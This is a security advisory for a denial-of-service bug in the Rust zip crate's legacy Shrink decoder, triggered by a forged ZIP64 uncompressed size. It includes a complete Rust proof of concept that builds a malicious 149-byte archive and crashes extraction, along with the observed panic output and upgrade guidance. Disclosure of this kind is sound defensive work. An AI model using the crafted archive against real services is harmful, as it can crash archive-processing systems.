GHSA-9hj8-73fh-9963: zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

Published Oct 26, 2026
·
Updated

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

rust if !self.streamread { self.streamread = true; let mut compressedbytes = Vec::new(); self.compressedreader.readtoend(&mut compressedbytes)?; self.stream.reserve(self.uncompressedsize as usize); hwunshrink( &compressedbytes, self.uncompressedsize as usize, &mut self.stream, )?; }

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressedsize is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

text zip2-legacy-poc/ |-- Cargo.toml -- src/ -- main.rs

Use this Cargo.toml:

toml [package] name = "zip2-legacy-poc" version = "0.1.0" edition = "2024" publish = false

[dependencies] tempfile = "3" zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

rust use std::fs::File; use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) { out.extendfromslice(&value.tolebytes()); }

fn push32(out: &mut Vec<u8>, value: u32) { out.extendfromslice(&value.tolebytes()); }

fn push64(out: &mut Vec<u8>, value: u64) { out.extendfromslice(&value.tolebytes()); }

fn zip64extra() -> Vec<u8> { let mut extra = Vec::new(); push16(&mut extra, 0x0001); push16(&mut extra, 16); push64(&mut extra, u64::MAX); push64(&mut extra, 1); extra }

fn archive() -> Vec<u8> { let name = b"entry"; let extra = zip64extra(); let mut out = Vec::new();

push32(&mut out, 0x04034b50); push16(&mut out, 45); push16(&mut out, 0); push16(&mut out, 1); // Shrink compression. push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, u32::MAX); push32(&mut out, u32::MAX); push16(&mut out, name.len() as u16); push16(&mut out, extra.len() as u16); out.extendfromslice(name); out.extendfromslice(&extra); out.push(0);

let centralstart = out.len() as u32;

push32(&mut out, 0x02014b50); push16(&mut out, 45); push16(&mut out, 45); push16(&mut out, 0); push16(&mut out, 1); // Shrink compression. push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, u32::MAX); push32(&mut out, u32::MAX); push16(&mut out, name.len() as u16); push16(&mut out, extra.len() as u16); push16(&mut out, 0); push16(&mut out, 0); push16(&mut out, 0); push32(&mut out, 0); push32(&mut out, 0); out.extendfromslice(name); out.extendfromslice(&extra);

let centralsize = out.len() as u32 - centralstart;

push32(&mut out, 0x06054b50); push16(&mut out, 0); push16(&mut out, 0); push16(&mut out, 1); push16(&mut out, 1); push32(&mut out, centralsize); push32(&mut out, centralstart); push16(&mut out, 0); out }

fn main() -> Result<(), Box<dyn std::error::Error>> { let bytes = archive(); File::create("poc.zip")?.writeall(&bytes)?;

let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?; let entry = archive.byindex(0)?;

println!( "method={:?} declaredsize={}", entry.compression(), entry.size() );

drop(entry);

let output = tempfile::tempdir()?; archive.extract(output.path())?; Ok(()) }

Run the reproducer in release mode:

sh cd zip2-legacy-poc RUSTBACKTRACE=1 cargo run --release

Observed output with zip 8.6.0 on x8664-unknown-linux-gnu:

text method=Shrink declaredsize=18446744073709551615

thread 'main' panicked at .../alloc/src/rawvec/mod.rs: capacity overflow

The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extractinternal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.

Impact

Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.

- zip::read::ZipArchive::extract

Other sources

zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.

— OSV

Affected Software

1 affected componentFixes available
rust/zip>=5.1.0<9.0.0
9.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/zip to a version that resolves this vulnerability.

    Fixed in 9.0.0
  2. Upgrade

    Upgrade zip to a version that resolves this vulnerability.

    Fixed in 9.0.0

Event History

Oct 26, 2026
CVE Published
via OSV·04:32 PM
Data Sourced
via OSV·04:32 PM
DescriptionSeverityWeakness
Oct 29, 2026
Advisory Published
via GitHub·04:40 PM
Data Sourced
via GitHub·04:40 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via OSV·04:40 PM
Affected Software

Frequently Asked Questions

1

Which applications are exposed in practice?

Applications using rust/zip are exposed when they enable the legacy-zip Cargo feature and call ZipArchive::extract() on ZIP archives an attacker can control. The affected legacy codecs are compiled only when legacy-zip is enabled.

2

What does an attacker need to supply?

The attacker needs to provide a ZIP archive containing a Shrink-compressed ZIP64 entry with a manipulated declared uncompressed size. The archive metadata supplies the uncompressed size used for output-capacity reservation.

3

How can I determine whether my application is affected?

Check whether your build enables the legacy-zip Cargo feature and whether application code invokes ZipArchive::extract(). Exposure is most relevant where that extraction path processes untrusted or externally supplied ZIP files.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203